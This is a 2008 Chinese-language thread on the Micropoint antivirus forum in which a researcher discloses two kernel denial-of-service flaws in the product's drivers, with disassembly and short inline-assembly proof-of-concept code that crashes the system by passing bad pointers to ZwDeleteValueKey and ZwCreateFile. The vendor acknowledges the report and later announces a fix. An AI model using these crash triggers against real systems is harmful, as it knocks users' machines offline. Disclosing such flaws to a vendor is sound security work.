微点交流论坛
» 游客:  注册 | 登录 | 帮助

 

作者:
标题: 微点主动防御(version20080924及以下)多个内核拒绝服务漏洞之二
mj0011_decoder
禁止发言





积分 0
发帖 33
注册 2008-10-1
#1  微点主动防御(version20080924及以下)多个内核拒绝服务漏洞之二

国庆的早晨啊~再多爆料几个有问题的函数~~

参考文一:http://hi.baidu.com/mj0011/blog/ ... 65fbf53a87ceb8.html

除了文一提到的两个函数~微点的内核驱动中实际存在着大量这样的问题

再提两个函数,也省得微点的工程师累死累活的找了~学习雷锋啊好榜样~~  

(1). 对ZwDeleteValueKey 的HOOK函数对用户态参数没有做检查,导致任何权限用户在安装了微点的系统上可引发蓝屏

处理函数位于mp110009.sys, 版本:1.2.10045 ,CheckSum = 0xCC78 , TimeStamp = 0x48478FCF

偏移0x12f7处是对ZwDeleteValueKey的HOOK处理函数,该函数的原型是:

NTSTATUS
NtDeleteValueKey(
    __in HANDLE KeyHandle,
    __in PUNICODE_STRING ValueName
    )

微点完全没有检查第二个参数 ValueName的有效性就在其代码偏移0x824处直接取该地址的数据,于是只要传给该参数 错误的地址,系统就会立即蓝屏
如下:微点的处理代码:

F8D39815:

mov     eax, [ebp+SourceString]

test    eax, eax

jz       F8D398C0

and     [ebp+ms_exc.disabled], 0

cmp     word ptr [eax], 0 <---memory fault , check by kfuzz

jz      short F8D39833

直接取到参数后判断了下是不是0就直接从内存取出UNICODE_STRING的Length域了

运行以下代码后,该版本微点同样立即蓝屏,这里就不给测试程序了~有兴趣的自己编译了看看

HMODULE hlib = LoadLibrary("ntdll.dll";

PVOID p = GetProcAddress(hlib , "ZwDeleteValueKey";

__asm{

   push 0x80000000

   push 0

   call p

}


(2).在对IoCreateFile->Call ObOpenObjectByName的inline hook中,完全未作参数检查,导致任何权限用户在安装了微点的系统上可引发蓝屏

微点Hook了IoCreateFile -> IopCreateFile -> call ObOpenObjectByName,使用替换4字节地址指针的方式。

此时可爱的微点小朋友 以为传递给ObOpenObjectByName的参数都已经是已经过内核校验过的了,因此自己不做任何检查,直接使用,甚至连结构化异常处理都不使用.

实际上对IoCreateFile的参数检查到ObOpenOpenByName中才刚刚开始~

结果就导致随便传入错误的参数给ZwCreateFile,就可以引发微点的蓝屏

出问题的模块是mp110011.sys,版本:1.2.10237 , checksum = 0x0002291a TimeStamp = 0x488944d9

在偏移0x45ca处即使替换ObOpenObjectByName的Hook函数。可以看到微点检查到其DesiredAccess 参数中包含了DELETE权限,就直接从第一个参数ObjectAttributes中取数据,完全不做任何检查。

利用代码,此代码运行后安装有微点的系统将立即蓝屏:

HMODULE hlib = LoadLibrary("ntdll.dll";

PVOID p = GetProcAddress(hlib , "ZwCreateFile";

HANDLE filehandle ;

IO_STATUS_BLOCK iosb ;

__asm{
   PUSH 0

   PUSH 0

   push 0

   push 1

   push 0


   push 0

   push 0

   lea eax , iosb

   push eax

   push 0    //ObjectAttributes set to Zero

   push 0x10080 // bypass DELETE access check

   lea eax ,filehandle

   push eax

   call p

}

此类BUG除了已经报出的4个外还有很多个~国庆无聊的话,会逐个爆出~敬请期待

[ Last edited by mj0011_decoder on 2008-10-1 at 18:50 ]

※ ※ ※ 本文纯属【mj0011_decoder】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2008-10-1 04:59
查看资料  发送邮件  发短消息   编辑帖子
Legend
超级版主

超级版主



积分 77171
发帖 70170
注册 2005-10-29
#2  

感谢楼主反馈,我们会根据楼主提供的信息分析。

※文章所有权归【Legend】与【东方微点论坛】共同所有,转载请注明出处!※

微点官方认证新浪微博:欢迎进入 微点新浪微博
微点技术支持邮箱: support@micropoint.com.cn
给Legend发短消息
2008-10-1 05:56
查看资料  发短消息   编辑帖子
qq200878
中级用户




积分 456
发帖 452
注册 2007-11-17
#3  

这个毕竟只能一步步来,微点人手少。开发中难免会有顾不上测试的时候这也是推出预升级的原因。任何东西都不可能一次性完美,我们只能做到更好
mj什么时候改态度了?

[ Last edited by qq200878 on 2008-10-1 at 08:30 ]

※ ※ ※ 本文纯属【qq200878】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2008-10-1 08:25
查看资料  发送邮件  发短消息   编辑帖子
点饭的百度空间
银牌会员




积分 2315
发帖 2236
注册 2007-11-30
#4  严谨再严谨 学习mj好榜样~

微点人手少 mj不如去mp

※ ※ ※ 本文纯属【点饭的百度空间】个人意见,与【 微点交流论坛 】立场无关※ ※ ※

你的微笑 is 微点的骄傲!
http://hi.baidu.com/new/micropoint
2008-10-1 19:55
查看资料  发送邮件  访问主页  发短消息   编辑帖子
snhao
银牌会员




积分 1791
发帖 1782
注册 2007-6-12
#5  

是啊我也觉得郑变了呢,这不像他的口气啊。他可不是一般的屌。

※ ※ ※ 本文纯属【snhao】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2008-10-2 10:14
查看资料  发短消息   编辑帖子
Legend
超级版主

超级版主



积分 77171
发帖 70170
注册 2005-10-29
#6  

问题已解决,请楼主用最新的安装包进行测试,如有问题,欢迎再次发帖。(可以联系QQ:383154254 为好友,找他要下新包)

※文章所有权归【Legend】与【东方微点论坛】共同所有,转载请注明出处!※

微点官方认证新浪微博:欢迎进入 微点新浪微博
微点技术支持邮箱: support@micropoint.com.cn
给Legend发短消息
2008-10-6 14:10
查看资料  发短消息   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]


北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号